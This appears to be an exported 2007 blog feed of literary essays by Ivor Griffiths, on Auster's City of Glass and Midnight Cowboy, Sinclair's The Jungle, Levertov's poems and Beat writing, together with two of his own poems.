    ‘He did not recognize the person he saw there as himself…He tried to remember himself as he had been before, but he found it difficult.’ (Auster 1985 142)

    The text is overtly saying that the claustrophobic conditions within which Quinn was living in the alley divorced him from all sense of reality. He has become like the homeless people he had observed in the city:

    ‘The transformation in his appearance had been so drastic that he could not help but be fascinated by it. He had turned into a bum.’ (Auster 1985 121)

    The city and its claustrophobic environment removes all sense of reality and so identity and leads to isolation for Quinn. This is confirmed when upon returning to his apartment he finds it is no longer his home: he has nowhere to return to:

    ‘He had come to the end of himself. He could feel it now, as though a great truth had finally dawned in him. There was nothing left.’ (Auster 1985 126).

    At the end of the novel the narrator states that “It is impossible for me to say where he is now.” (Auster 1985 133)

    The self conscious cleverness of Auster’s style in City of

    Glass, analyzed in depth by William Lavendar (1993) and exemplified by the many literary references, changing points of view, character, plot and resolution create the atmosphere of a gradual drift away from reality and the blurring of boundaries between reality and fiction. The text is a critique of

    New York City as an environment and what is, for Auster, the destructive power a postmodern city has on the psyche. The text is a strong supporting argument for

    Baldwin’s hypothesis. But the failure to engage with the fundamentals of childhood experience to shape identity, first advanced by Freud, undermines its power.

    In contrast Midnight Cowboy is an examination of both childhood influence and environment. Joe Buck’s identity as a cowboy is derived from Woodsy Niles, not the women who brought him up or the city of

    Houston. It is this cowboy identity that unravels when he arrives in

    New York City. However it is not Joe Buck who so much loses an identity as develops one. He eventually sheds his cowboy image after he befriends the crippled Rico Rizzo.

    Baldwin’s argument is not supported here; Joe Buck and Rico Rizzo know who they are and what they want. They are not divorced from each other but friends and this is a direct result of them both being in

    New York City.

    The text emphasizes Rizzo’s childhood experiences; he, like Joe Buck, has also lost his Father and family but it is the deterioration in his health that is caused by

    New York City. Joe Buck’s identity develops from “Never having had a friendship of his own,” (Herlihy 1965 20) to having a caring friendship with Rizzo. He learns from Rizzo the ways of

    New York City, regarding Rizzo as “someone who new the ropes” (Herlihy 1965 119). But as Joe Buck is shown the ropes he recognizes the destructive power of

    New York City, and here there is a parallel with City of Glass, if one equates the plight of the homeless with the desperation of the sex trade. After his only success as a gigolo:

    ‘He saw himself being drained and robbed and swindled in a thousand impossible ways: Every smile cost him some ungodly sum, and every time he nodded in assent to a stranger, a vital substance was extracted from him. If a clock ticked or a breeze blew or a wheel turned in his presence, within range of his senses, it seemed somehow to have stolen his energy to fuel itself.’ (Herlihy, 1965, 203)

    Joe realizes, when referring to the clock and wheel, that the city is draining him of life. Rizzo’s health deteriorates to the point at which he may be unable to walk. The unforgiving nature of

    New York City and the seeming indifference of the population to his plight are shown by the text when Rizzo tells Joe he is scared and asks him:

    ‘I mean what do they uh, you know – do with you – if you can’t, uh..Agh, shit!’ (Herlihy, 1965, 209)

    The answer is implied as nothing. So Rizzo changes from confident street-smart trickster to being unable to walk at all and scared. On the bus to Florida Joe realizes he cannot live like Rizzo, he must get a job. He confirms his rejection of the cowboy, saying he wants:

    ‘…a change of shoes!’ Cause I am so sick o’ lookin’ at these goddam boots. I am! I’m gonna throw ‘em in the ocean! Watch me. I want ever’thing new.’ (Herlihy, 1965, 246)

    Rizzo’s death, symbolizes the death of

    New York City life for Joe and his continued search for meaning.

    Baldwin’s argument that the city divorces us from reality and each other is not supported by Midnight Cowboy. Joe learns from Rizzo, who symbolizes New York City, the value of companionship, trust and loyalty; that

    New York City can be a hostile environment in which identity and self-belief are “drained”. By contrast Auster in City of

    is overtly making the postmodern point that reality and fiction become blurred in a city and it is this that divorced Daniel Quinn/Max Work/Paul Auster from reality and everyone else.



    Alford, S. Spaced-Out: Signification and Space in Paul Auster’s The

    New York Trilogy. Contemporary Literature Vol. 36, No. 4. (Winter, 1995): 613-32.

    Auster, P. (1985). City of Glass,

    London: Faber & Faber Ltd.

    Baudrillard, J.(1994) Simulacra and Simulation. Trans. Sheila Faria Glaser. Ann Arbor:

    University of


    Bernstein,S. (1990). “‘The Question is the Story itself’: Postmodernism and Intertextuality in Auster’s New York Trilogy. Merivale and Sweeney, 134-153.De Certeau, M. (1988) The Practice of Everyday Life. (Trans. Steven Rendall.) Berkely:

    University of


    Gelfant, B. (1970) The


    City Novel

    University of

    Oaklahoma Press: Oaklahoma

    Herlihy, J. L. (1965). Midnight Cowboy,

    London: Scribner

    Lavender,W. The Novel of Critical Engagement: Paul Auster’s “City of


    Contemporary Literature, Vol. 34, No. 2. (Summer, 1993), pp. 219-239. Lefebvre, H. (1991) The Production of Space. Trans. Donald Nicholsan-Smith. Oxford and

    Cambridge, MA: Blackwell.

    Little, G. Nothing to Go on: Paul Auster’s “City of

    Glass” Contemporary Literature, Vol. 38, No. 1. (Spring, 1997), pp. 133-163. McCaffery, L. & Gregory, S. An Interview with Paul Auster Contemporary Literature, Vol. 33, No. 1. (Spring, 1992), pp. 1-23.

    Solnit, R. (2000) Wanderlust: A History of Walking.

    New York: Penguin. accessed 28.08.07

    ]]> 1
    Her at No. 29 Mon, 27 Aug 2007 17:03:44 +0000 Ivor Griffiths Green Sequoia, slow down — take the joy of her,
    Slow down and breathe the coy her, feelings
    tapping on the broken window, in half-life light.
    Get down, feathers and a shilling, wrap them

    in a white shade of hessian — rough touch
    smoothes a flinching wince,
    like a stone frog catching flies.
    It’s in the blood, 1989: On the wire

    floating above a garden, dreaming
    a compost smell, hiding a wobbly
    neighbour, staring through the sash-windows
    that squeal open, like cats drowning.

    Smoke haze in the kitchen, everyone smoking
    and talking; laughing at shiny photographs.
    Monotone edged in white, like the life
    of the neighbour’s wife, shaking to a bongo
    and tidying like Andy Warhol.

    Ivor Griffiths 2007

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    The Fossil Gatherer a poem by Ivor Griffiths Mon, 27 Aug 2007 14:01:01 +0000 Ivor Griffiths Fossil Gatherer

    Propping up rusty railings by the shore – listening -
    between eyelashes I saw flapping, it sounded like applause.

    A skeletal osprey limped along cracked hot granite,

    eyeing a red crab drowning in sunshine.

    The crab was crunched — then wriggled.
    Oscillating sine waves tickled the air,

    a spider drowned in a bucket

    next to my foot – squealing

    Dirty fingernails scraped the earth
    seeking out ancient dead: their stone-shadows

    now ghostly skeletal images –

    crushed in time and spatial vectors,
    to emit crackling and spitting messages:

    reminiscent of Italian and Chinese Art – in a white room.
    With a high-brow air, but whining,
    like a London Tube train,

    late at night

    then rubber-necking at the hard platform’s lip.
    I watched litter swirling, between the tracks,
    sniffed the warm rubber,

    and flinched at metallic noises.

    ]]> 2
    The Jungle Mon, 27 Aug 2007 13:58:03 +0000 Ivor Griffiths This essay will critically examine the ways in which the urban environment
    in The Jungle represents the collapse of traditional values and its
    effect on the individual. In so doing it will be demonstrated that the novel
    contains a political message that advocates a socialist solution to the social
    problems highlighted and exposed by the text, in the first decade of twentieth
    century Chicago. The disintegration of the central characters, Jurgis and his
    family symbolise the destructive power of capitalism. The novel concludes with
    Jurgis discovering socialism and emerging from a corrupt and criminal lifestyle
    that the city, and its representatives, in the form of police, politicians,
    employers and criminals, has driven him to. There are many tragic deaths in
    the text but it is not a tragedy in the strict literary sense, as Jurgis, the
    hero, does not die. The text explores the injustices endured by immigrants
    to America, they were routinely exploited: in terms of pay and housing, which
    are described in detail by Jon Yoder (Yoder, 1975).
    An urban environment, for the purposes of this essay, is a man made environment,
    in which people live in pre-built housing, sharing utilities such as water,
    roads, police, courts and electrical power. Typically, the inhabitants will
    eat processed, pre-packaged or precooked food. Upton Sinclair used the Packingtown
    Meat Factory as a metaphor for urban society and the pig as the inhabitants.
    He shows how the pig descends through the plant all of it had been rendered,
    even bad meat being used and sold. In chapter fourteen we are told of “…..that
    old Packingtown jest–that they use everything of the pig except the squeal.” (Sinclair,
    1906, p.42). The pigs, like the immigrant workers of Chicago, are cruelly treated
    and exploited by the owners, who are capitalists. Food is fundamental to the
    human condition; Sinclair was astute in his choice of metaphor, the book caused
    such an outcry from the public that the Department of Food and Drugs Administration resulted,
    and laws passed, regulating the food industry as a direct result. President
    Roosvelt described Sinclair as a ‘muckraker’, a term he used to
    describe journalists that exposed malpractice. There are many examples
    of similes and metaphorical references throughout the text, notably the foundry
    described in such a way as to portray it as akin to Dante’s Inferno,
    a hot unnatural, hostile and dangerous environment for men and women. Ironically,
    men compete with each other for an opportunity to work in bad conditions for
    very low pay: the owners and capitalism are at fault for exploiting the workers.
    The novel’s title reflects the negative representation of the urban setting
    as a jungle; the metaphor is reinforced constantly throughout the text and
    Chicago is further described as:
    a city in which justice and honor, women’s bodies and men’s souls, were for
    sale in the marketplace, and human beings writhed and fought and fell upon
    each other like wolves in a pit, in which lusts were raging fires, and men
    were fuel, and humanity was festering and stewing and wallowing in its own
    corruption….a wild beast tangle. (p. 198)
    The text implies that greed, envy and a ruthless competitiveness are the conditions
    in which unfettered capitalism thrives and a place in which money is all-powerful.
    Chicago is a jungle the guiding Darwinian rule: it is the survival of the fittest.
    The meatpacking plant is “a seething cauldron of jealousies and hatreds;
    there was no loyalty or decency anywhere about it, there was no place in it
    where a man counted for anything against a dollar.” (p. 74) In chapter
    fifteen, Ona has the “eye of a hunted animal,” (p. 170) and Jurgis
    pants “like a wounded bull.” (p. 182) finds Connor, his wife’s
    rapist, “this great beast.” (p. 182). He fights “like a tiger,”(p.
    182), and like a jungle cat sinks “his teeth into the man’s cheek.”(p.
    182). Having obtained satisfaction Jurgis is himself caged and in prison at
    Christmas: further underlying the uncaring assault on traditional family values
    by capitalism. To compound the injustices Jurgis’ wife dies during childbirth.
    Real estate agents, manufacturers of roach powder, trolley car companies and
    saloonkeepers, all swindle Jurgis. He, and the reader, experience Chicago’s
    underworld in which “nothing counted but brutal might, an order devised
    by those who possessed it for the subjugation of those who did not” (
    p. 278) and maintains that in Chicago “it is a case of
    us or the other fellow” (p. 302)
    All of these metaphors, symbols and similes create images of destruction and
    violence, showing traditional values and family life as under severe threat
    from capitalism. Traditional values as an ideal, and a phrase, has many meanings,
    to many people. In the historical context of the text, as a concept, those
    values that support heterosexual, Christian family life, in which the main
    provider for the family is the husband (for the parents will be married). The
    text in the first sentence begins at a wedding to underline the importance
    of family as a foundation of traditional values and to suggest a paradise lost.
    The husband will work hard, be honest, support the police and be patriotic.
    Self-sufficiency, hard work and family life are at the core of this definition.
    Sinclair utilises a pastoral device: Jurgis and his family have left a utopian,
    communal and agrarian life in Lithuania suggesting to his contemporary readers
    that the characters adhere to a set of traditional values consistent with those
    of most Americans, creating empathy between the intended audience and the characters.
    Although not a Naturalist Sinclair adopts several of Emile Zola’s techniques
    of characterisation. Removing Jurgis and his family from this utopian pastoral
    environment, and placing them in an urban jungle, is akin to a laboratory experiment.
    The narrative invites the reader to see events depicted in the text from Jurgis’ perspective;
    in effect, the reader becomes Jurgis. He sees his Father die from hard oppressive
    work, as well as exploited and having to pay to actually do the job. His only
    real respite is when he leaves Chicago and lives as a hobo.
    Like Zola
    Sinclair is a Realist and gives vivid, often harrowing, accounts of the oppressive
    and unforgiving nature of the capitalist urban environment. He describes in
    incredible detail working life in a brothel, eating frozen rubbish, criminal,
    political and judicial corruption, blacklists, working life in a foundry and
    a slaughterhouse; utilising all of the senses, the reader can almost experience
    the life that Jurgis and others endured. Using powerful imagery the reader
    is effectively taken on a tour of urban life in early twentieth century Chicago.
    Jurgis survives, although his wife, child and father do not providing Sinclair
    with a literary device to demonstrate the alternative of socialism, which he
    duly provides in the last part of the book. He does not develop the characters
    fully and consequently they are shallow; the narrative is a medium by which
    Sinclair wished to promote the socialist alternative to capitalism and so pays
    far more attention to the detail of working conditions and environment than
    the emotions and depth of the characters. Sinclair quickly establishes the
    character of Jurgis as simple, guileless and artless; like a child, with a
    naive charm, unsuspecting and credulous. At the beginning of chapter two Jurgis
    dismisses stories “about the breaking down of men,” because “he
    was young, and a giant besides… he could not even imagine how it would feel
    to be beaten.” (p.47) this confirms his status within the text as a naïve
    country boy who does not know his way around the urban jungle. When he is described
    as having “… come from the country, and from very far in the country,” (p.28)
    this adds to the image of Jurgis as naïve, but also as a decent family
    man with a positive self image and a respect for traditional values. The fact
    that he is naïve is not a negative trait, this reinforces the representation
    of the urban environment of the city as oppressive and hostile to ordinary
    decent people; in juxtaposition to the utopian alternative of traditional country
    life, that implicitly incorporates traditional values. (Ferraro T., 1993)
    The remainder of the text deals with the readers’, and Jurgis’,
    tutelage in the reality of life in an unfettered and unregulated, almost anarchic,
    violent urban capitalist environment. Swindled, “used up” and exploited
    as employees, swindled by real estate agents, manufacturers of cockroach powder,
    trolley car companies and bar owners. A vivid portrayal of the actual fabric
    of the city turning on its more vulnerable occupants occurs when Jurgis’ son
    dies, by drowning, in the mud of the unsanitary streets. The text suggests
    direct responsibility laid with the corrupt city officials and elected representatives,
    who have effectively killed him by neglecting to perform their civic duty because
    of corruption caused by the capitalist system. They are supposed to serve the
    people but simply maintain the status quo; even the electoral system is shown
    as fixed, so there is no real democracy. Jurgis’ wife being raped and
    yet Jurgis being sent to prison by an uncaring Judge is another example of
    corruption of the judicial institutions by the capitalists. Even Judges are
    repressing the working person. Sinclair thus expands upon and develops his
    central themes concerning his representation of urban capitalism, through Jurgis’ eyes,
    as having a reckless disregard for the health and well-being of workers, the
    exploitation of children, and the suppression of workers by blacklisting, the
    corruption of the judicial and political systems and so on. By using Jurgis
    as an example, the text is telling the reader that it could happen to anyone
    in any city in America. This allows Sinclair to expound upon his political
    ideal and suggest that a socialist model of living will overcome all of the
    social problems highlighted. In so doing, he also suggests that the American
    Dream is illusory in the tradition of Fitzgerald’s The Great Gatsby,
    which highlighted the plight of immigrants, in a juxtaposition of characterisation,
    by focusing on how an apparent example of the American Dream fulfilled is also
    illusory, and tragic.
    Families are at the core of any Western definition of traditional values and
    Jurgis’ immediate and extended family are symbolic of the concept that
    traditional values cannot survive in any capitalist urban environment any more
    than individuals can. Capitalism is responsible for the deaths of two adults
    and three children as well as Jonas, another family member, disappearing. Marija
    becomes a prostitute, Elzbieta a sick woman whose children pick up “wild
    and unruly” ways on the streets. These characters are symbolic of the
    oppression and exploitation of women and children in this capitalist society:
    no more than commodities and no better off than the pigs in Packingtown. Incompatible
    with the demands of a competitive urban capitalist system, traditional family
    life also becomes impossible. Ultimately destroyed by the environment in which
    Sinclair places it. In chapter ten, after Antanas is born, Jurgis declares
    himself “irrevocably a family man.”(p. 129) However, the hours he
    is required to work do not allow him to spend much time with his son, only
    when he is out of work with an injury can he do so. Similarly, husbands and
    wives cannot enjoy a fulfilling marriage or any meaningful traditional family
    life. Ona and Jurgis had “only their worries to talk of- truly it was
    hard, in such a life, to keep any sentiment alive” (p. 148). Ona becomes
    a boss’s mistress and ironically, for the sake of the family, she gives in
    to his demands. This symbolises the utter power of capitalism to invade the
    intimate privacy of the relationship at the core of traditional values: that
    of man and wife. This is a powerful argument to make to a male workforce that
    one desires to empower. It is an astute use of symbolism.
    The narrative voice is a powerful warning, to the point of preaching, against
    the unfettered power of capitalism and the inevitability of its destructive
    power. The purpose of the text is to show that old world traditional communal
    values cannot survive in the jungle that is capitalist Chicago and that every
    facet of urban life is corrupt or tainted: the food, the housing, the workplace.
    The streets are dangerous and destructive. The text concludes with the suggestion
    that socialism is the only alternative to the system of capitalism as portrayed.
    At the time the novel was published the idea and promise of socialism was real,
    an alternative political system in which traditional values are respected and
    work is not an oppressive form of slavery; corruption in the civic administration
    and judicial system would both be removed.

    Primary Source
    Sinclair U. (1906) The Jungle, Reprinted 1986, New York: Penguin Classics
    Secondary Sources
    Ferraro, T. J. (1993) Ethnic Passages: Literary Immigrants in Twentieth-Century
    Chicago: University of Chicago Press
    Smith, Carl S. (1984), Chicago and the American Literary Imagination, Chicago:
    University of Chicago Press
    Bloodworth, William A. (1977) “The Jungle” Upton Sinclair. Boston:
    Twayne Publishers
    Yoder, Jon A. (1975) “The Muckraker” Upton Sinclair. New
    York: Frederick Ungar Publishing Company

    ]]> 1
    Denise Levertov The Dead Butterfly Mon, 27 Aug 2007 13:51:34 +0000 Ivor Griffiths “Levertov’s poetry is a poetry of the eye in that it is concerned
    with seeing into experience and discovering the order and significance
    that her poet’s faith tells her is really there behind the surface chaos” (James
    F. Mersmann). Discuss.

    This essay will critically consider the assertion made by Mersmann in the
    context of an analysis of the meanings, form and poetic devices present in
    two of Levertov’s Poems: ‘The Dead Butterfly’ (1961) and ‘Life
    at War’ (1966). The first of these is concerned with themes of nature
    and urbanisation. The evocative imagery that Levertov deploys to juxtapose
    the energy and beauty of nature against the power and order of industry confirms
    that her poetry is “of the eye” and shows, through the device of
    a dead butterfly, the delicate balance that exists between nature and technology.
    The second poem is overtly political and protests against the Vietnam War.
    The newspapers and TV covered the Vietnam War like none before. Levertov never
    actually saw the war first hand and it is her faith in the accurate portrayal
    of it that facilitates her writing about it and “discovering the order
    and significance…behind the surface chaos.”

    The construction of ‘The Dead Butterfly’ is precise; in her essay
    published in The Poet in the World ‘Some Notes On Organic Form’ Levertov(1973)
    explains the theory behind organic construction. An “inscape”,
    or sequence of experiences that flow from one experience, is created within
    which tension, energy and balance are present and then a narrative voice is
    woven through and around the inscape. Instress is the experience the reader
    has when perceiving the poem or experiencing the inscape. For Levertov a poem
    forms organically and, like Mersmann, Levertov believes it depends upon the
    poet’s eye,

    “of recognizing what we perceive, and is based upon an intuition of
    an order, a form beyond forms, in which forms partake, and of which man’s
    creative works are analogies, resemblances, natural allegories.” (Levertov 1973)

    Levertov’s central theory of poetic construction is the idea that form
    is discoverable and becomes visible to a poet willing to explore. The form
    grows organically from the inscape. The instress or appreciation of the inscape
    allows a poet to see the essential characteristics of her own environment.
    In this way Levertov is able to “see into” experience
    with an organic and developing vision; the final apperception of the inscape
    becomes the poem. Levertov is associated by some critics with the Beat movement
    and has been categorised as a Black Mountain College poet by others, however
    these associations have more to do with accidents of timing and publication
    than substance. Because there is no consensus as to which school her poetry
    belongs suggests that it stands apart from both. Of course being contemporary
    to both movements she will share common influences of events and cultural development
    with the Beat and Black Mountain College schools of literature.

    In ‘The Dead Butterfly’ part of the inscape is colour white and
    green for example in the first two lines of the poem an inscape of white, whiteness
    and green is created

    “Now I see its whiteness
    is not white but green, traced with green,”

    The colours symbolise purity and nature. The first person narrative lends
    an intimacy to the voice. “I” is aurally the same as “eye” which
    sees and first person heightens the sense of examination. The repetition of “white” provides
    echo that begins in the first two lines and is echoed in the second stanza.
    The same device is used with green; used twice in the second line and then
    echoing in the second stanza in the word “rockgreen”. The inscape
    of nature and animate life are words such as “marigold”, “stones”,
    and “mountains”; examples of what Mersmann calls “seeing
    into experience” revealing “order and significance”.

    The echoing provides a sense of space. Dynamism and movement is present in
    the use of phrases like “rainblown roses” and “constant tremulous
    movement”. The inscape of cities and industry overlays the others; the
    use of numbers at the beginning of each stanza symbolises science and technology.
    The fact that a number begins the second stanza suggests a subtext of environmental
    concern: that order being imposed on nature will kill it, this being symbolised
    by the dead butterfly. The fact that it is white when living but green when
    dead is a transformation attached to the juxtaposition of “constant tremulous
    movement” with an image of death underscored by the expansive atmosphere
    created by the echoes.

    The careful use of an inscape of words that conveys an entire image of industrialization
    and destruction of nature is evoked by Levertov’s use of the words:
    “stone”, “city”, “built” and “quarried”.
    All of these words are found in the first stanza. The second stanza reflects
    this atmosphere of urban destruction by the subtle use of a number “2” to
    impose order from above. Levertov strikes a delicate balance between
    all of the binaries of the inscape that gives the poem its internal energy.
    This idea of balance and equilibrium is evident in ‘Life at War’ which
    acknowledges Czech poet Rainer Maria Rilke’s influence. For Mersmann
    she facilitates the discovery of “order and significance” from “behind
    the surface chaos”. She does this with the inscape of energy, balance
    and tension.

    Both ‘The Dead Butterfly’ and ‘Life at War’ are aligned
    to the left and the result is that the enjambment keeps the eye of the reader
    moving swiftly from line to line so as to read the entire sentence that makes
    up the stanzas. In ‘The Dead Butterfly’ the first is ended with
    a full stop and this ending is given further symbolic significance by the use
    of a listing number “2” that begins the second stanza. The effect
    is to dramatise inscape of the city and urbanisation, which provides an ominous
    sub text. The use of the word “high” is significant as being suggestive
    of the possibility of a fall. It also shows the city as being created from
    a mountain and thus ecological concern at the mountain’s implied destruction.

    Dorothy Neilsen (1993) suggests that Levertov is a “visionary…one
    who can hear and transcribe the “voices of nature.” suggesting
    correctly that such poems, of which ‘The Dead Butterfly’ would
    be an example, are “ecological advocacy” that “rely on prosopopoeia” she
    further explains that these personifying tropes give nature a voice that the “visionary-poet
    hears.” Nielsen (1993) argues that Levertov is attempting to be that
    voice of nature; that she is, as Mersmann argues, “seeing into experience” and
    discovering and showing an order from within an apparent disorder. The order
    is reflected in the underlying complex structure of ‘The Dead Butterfly’ by
    using devices such as enjambment and numbering. Nielsen argues that in so doing
    Levertov attempts to avoid anthropocentrism entirely. An alternative more accurate
    view may be that Levertov is a poet of vision, but from an anthropocentric
    standpoint. She views the subject with a sense of newness and wonder. Mersmann’s “poetry
    of the eye” is the poetry of wonder, of seeing an object as something
    fresh: “seeing into” it, looking beyond the surface chaos
    of tangible form towards meaning.

    A butterfly is delicate and in the poem associated with darkness and light,
    white and green as well as erratic and unpredictable movement and stillness
    (when dead). Levertov’s eye sees into the butterfly’s experience
    and discovers what Mersmann describes as “order and significance”.
    Her use of opposites and the juxtaposition of delicate wings against “rocks”, “mountains” and “quarried” provide
    a delicate balance of energy. This energy is given form and a pattern. Levertov’s
    task is to detect and create the inscape and then to attach an organic form
    of narrative to it in order to create the instress. The contrast of colours,
    life and death, movement and stillness create a tension and conflict within
    the poem that is constrained by the subtle use of numbers and the implication
    that science, symbolised by the order intrinsic to numbering, is attempting
    to stifle the wonder, energy and freedom of nature. Levertov shows the delicate
    state of balance the world is in through the metaphor of a butterfly. Hallisey
    (1982) makes the point that Levertov’s poetry shows an interest in the
    wonder of all things, influences that Hallisey ascribes to Emersonian ideas
    of Transcendentalism together with Hassidism. (Hallisey J F 1982) Hassidism
    celebrates the wonder of creation and the joy of being: the wonder and joy
    evident in the sight of even a dead butterfly. Mermann’s intuitive observation
    encapsulates both the creative process behind ‘The Dead Butterfly’ as
    well as aptly describes the form, themes and energy within it. The “surface
    chaos” that Mersmann refers to, of a fluttering butterfly is shown against
    an inscape of “order and significance”.

    To write poems that convey a personal political message is to concede that
    the eye has shifted from an exterior visionary perspective, seen in ‘The
    Dead Butterfly’, to an interior viewpoint. The visionary eye “seeing
    experience and discovering…” has altered in Levertov’s
    Vietnam protest poem ‘Life at War’. The lyricism and sharp inscapes
    of her earlier work are present, but the sense of wonder less so. Because Levertov
    did not experience the war first hand her poet’s eye cannot see into
    experience other than through the eye of television and the media. For this
    reason she is seeing what many others saw of the war: black and white images
    of death and destruction, political rallies, body bags and so on. She is therefore
    seeing through the eyes of others and sharing in a more general experience
    but still with a poet’s eye. She still, as Mersmann says, “sees
    into experience” and in ‘Life at War’ discovers the way
    to “order and significance” from “the surface chaos” Merssmann

    The inscape of war cannot be uplifting; the ideas of wonder and joy out of
    place unless ironic. The images that make up the inscape are precise and sharp
    as one would expect from Levertov but the purpose behind them now political.
    As Lorrie Smith (1986) rightly points out “Levertov’s…poetics
    is initially shaken by the demands of radical activism, she is faced with the
    need to speak didactically without sacrificing her earlier lyricism.”. If
    a poem is political can it be poetic? This is the question posed by Smith.
    Smith believes rightly that Levertov’s poetic technique altered little
    throughout her career that “Levertov’s maturation as a political
    poet shows in increasingly complex and refined…poetic practice.” (Smith
    L 1986 p. 214). War has its own energy, so much so that as a concept
    it can overcome the dynamic energy of subtle binaries and precise enjambment;
    the possibility of “seeing into experience” may be clouded by overwrought
    imagery of “entrails of still-alive babies” or “formless

    Janssen (1992) approaches Levertov’s political poetry from the perspective
    of the organic form and correctly focuses on the inner form. He argues that
    the poem’s energy pattern becomes the connection attaching the reader
    to a cherished reality. In ‘The Dead Butterfly’ the cherished reality
    being harmony and balance between man, nature and technology. He concedes that
    the energy pattern exists in varying qualities in Levertov’s other poetry
    but the important point is that the reader makes the connection. He is right
    to argue that Levertov is using the reader’s imagined perception of reality
    as persuasive of the viability of an alternative reality. This is why Levertov,
    by showing disturbing images in ‘Life at War’, is asking the reader
    to imagine the war and in doing so showing how to imagine no war at all. This
    accords with Mersmann’s statement that Levertov is seeing into chaos
    and discovering significance there. The significance is shown by the energy
    pattern stimulating the appropriate imaginary response from the reader. But
    a limitation of political poetry is that any questions asked of a reader are
    no more than rhetorical.

    Because of the limitation placed on the content or message it is in danger
    of becoming clichéd and preaching in tone. Levertov avoids that in ‘Life
    at War’ and shows disturbing images juxtaposed against a potential reality,
    thereby creating internal energy and showing Mersmann’s “order
    and significance” within the inscape. There is careful use of language,
    repetition, alliteration, internal and half-rhyme; all are carefully accentuated
    or understated by use of enjambment line breaks and white space. The constraints
    placed on her by the subject matter of “Life at War” and her fervent
    political beliefs that the Vietnam War should not be fought are apparent.

    The poem is longer than ‘The Dead Butterfly’ because it is didactic
    and offering a solution, that is political, rather than a lyric reaction.
    It cannot show us the beauty of war as for Levertov there is none. Because
    it conveys a message it needs to explain and show an alternative. In this way
    her language is forced to be didactic to the point of self consciously explaining
    itself by referring to the influence behind the poem.

    “Or Rilke said it, ‘My heart…
    I say of it, it overflows
    bitterness…but no, as though”

    Zlotkowski (1992) argues that Rilke influenced her writing by helping her
    to achieve a balance between inner experience and a longing for the here and
    now. Zlotkowkski believes that Rilke influenced the former by helping her feel
    and experience what she saw and that William Carlos Williams influenced the
    style and concision with which this way of seeing is rendered to a poem. This
    idea of balance is again evident in ‘Life at War’ images of violence;
    destruction and cruelty are mirrored by human potential:

    music excels the music of birds
    laughter matches the laughter of dogs,
    understanding manifests designs
    than the spiders most intricate web,”

    The imagery used dictates the form, even the title is an oxymoron, the tone
    and voice of the poem veer between hope and anguish and are informed by it.
    The above stanzas patterned metre reflects the order of civilised life. The
    irregular beat of lines dealing with war reflects the distorting nature of

    Fragments and incomplete parts of images are reflected in the form: irregular
    line breaks, irregular line length and enjambment. Repetition has echoes of
    marching and militarism. The tone switches between hope and anger through speculation
    towards a calm that offers an imaginary vision of peace. ‘Life at War’ is
    not as visionary and thus not so much a poetry of the eye as is ‘The
    Dead Butterfly’ but the artistic devices developed by Levertov in her
    poetry are skilfully deployed; albeit in the a political form that offers explanation
    and an alternative.

    Mersmann’s statement accurately describes Levertov’s creative
    process and the poetry produced. The process of seeing into experience is evoked
    by the inscape: a list of objects or feelings that may occupy a semantic field
    and possibly be metonymic but until ordered remain chaotic. The “surface
    chaos” Mersmann describes is the range of images that may emerge from
    an initial concept or idea. Once refined into an inscape the idea moves towards
    a form which emerges from the organic artistic process. Mersmann is saying,
    rightly, that Levertov’s confidence or faith in her own artistic ability
    will allow her to see and show a reader what she recognises and perceives in
    a carefully ordered way. Of course a poet’s vision may alter dependant
    upon subject matter and the purpose behind the poem. That difference is evident
    in the two poems discussed. However, Mersmann’s statement is applicable
    to both poems; whether an ecological message as in ‘The Dead Butterfly’ or
    a political message as in ‘Life at War’.

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    Jack Kerouac On The Road, Ginsberg’s Howl & The American Dream Mon, 27 Aug 2007 13:43:33 +0000 Ivor Griffiths This essay critically analyses the representation of the American Dream in the Beat writing of Jack Kerouac and Allen Ginsberg in On the Road and “Howl”.

    The Collins English Dictionary defines the American Dream as

    ‘the notion that the American social, economic and political system makes success possible for every individual’ (Collins, 1985, “american dream”)

    The online dictionary at, defines it as

    ‘1. the ideals of freedom, equality, and opportunity traditionally held to be available to every American.

    2. a life of personal happiness and material comfort as traditionally sought by individuals in the U.S.’ (, “American dream”)

    These definitions are broad and different, but what they have in common is that the American Dream is a concept, a collection of ideas, philosophy and laws. Much like the British constitution the American Dream is an unwritten ideal of equality and fairness. Like the British Constitution it is subject to pressure to change and to differing interpretations.

    The Declaration of Independence of 1776 states that:

    ‘All men are created equal…endowed by their Creator with certain inalienable Rights…Life,

    Liberty and the pursuit of Happiness.’

    The American Dream became related not simply to these set of ideals but also to

    America as a place. Both On the Road and “Howl” are autobiographical examinations of

    America and the American Dream.

    The Declaration of Independence specifically refers to a “Creator”; as such it has a religious or mystical aspect. The cultural climate in which Ginsberg and Kerouac functioned as writers and people was defined in religious terms. Whilst

    America is officially a secular nation Christianity and its American incarnation is the dominant religion. A belief in a Christian Deity is fundamental to the value set that many Americans live by. Thus

    America has historically been seen, at least by the rest of the world, to be a place where anything is possible, where men and women can fulfil their potential in an egalitarian utopia, a land of laws not men. It found greatest currency amongst immigrants who came to America seeking a new beginning, indeed in the sixteenth century

    America was considered to be the new Garden of Eden.

    In the nineteen forties and fifties the Cold War and fear of nuclear war and communist paranoia caused American society to become both spiritual and isolated. This spirituality was espoused by preachers like Billy Graham and others. This style is parodied in “Howl” in its performance by Allen Ginsberg.

    For Ginsberg and Kerouac this prescriptive definition of spiritual and social ideology as being the ideals of the American Dream was not acceptable. Both use Neal Cassady as characters in the texts under consideration.

    Ginsberg refers to Cassady obliquely by using his initials. He then goes on to describe Neal Cassady’s character and offers his opinion as to what a hero is, in direct contrast to the clean living all American ideal embodied in popular commercial mainstream American icons, such as the Marlboro Man: hard working, clean living, heterosexual a good father and faithful church-going husband. Cassady is, for Ginsberg, the city primitive, driven by the need for sexual self-gratification:

    ‘N.C., secret hero of these poems, cocksman and Adonis of

    Denver – joy to the memory of his innumerable lays of girls

    in empty lots & diner backyards, moviehouses’ rickety rows,

    on mountaintops in caves or with gaunt waitresses in familiar

    roadside lonely petticoat upliftings & especially secret gas-

    station solipsisms of johns and hometown alleys too,’ (62, 4)

    The failure to name Cassady, in contrast to Solomon, suggests that Ginsberg wished to protect his identity, almost as if he is seeking to keep him anonymous and representative of a rebellious generation. Part one of the poem is a continuous reference to “the best minds of my generation” but also Neal Cassady the “secret hero of these poems”. Written in one continuous sentence, the structure of the poem allows this continuous reference to the “best minds”. The repeated use of the word “who” on new lines is accompanied by a comma at the end of each observation and gives the poem an evangelical quality; similar in form to a psalm.

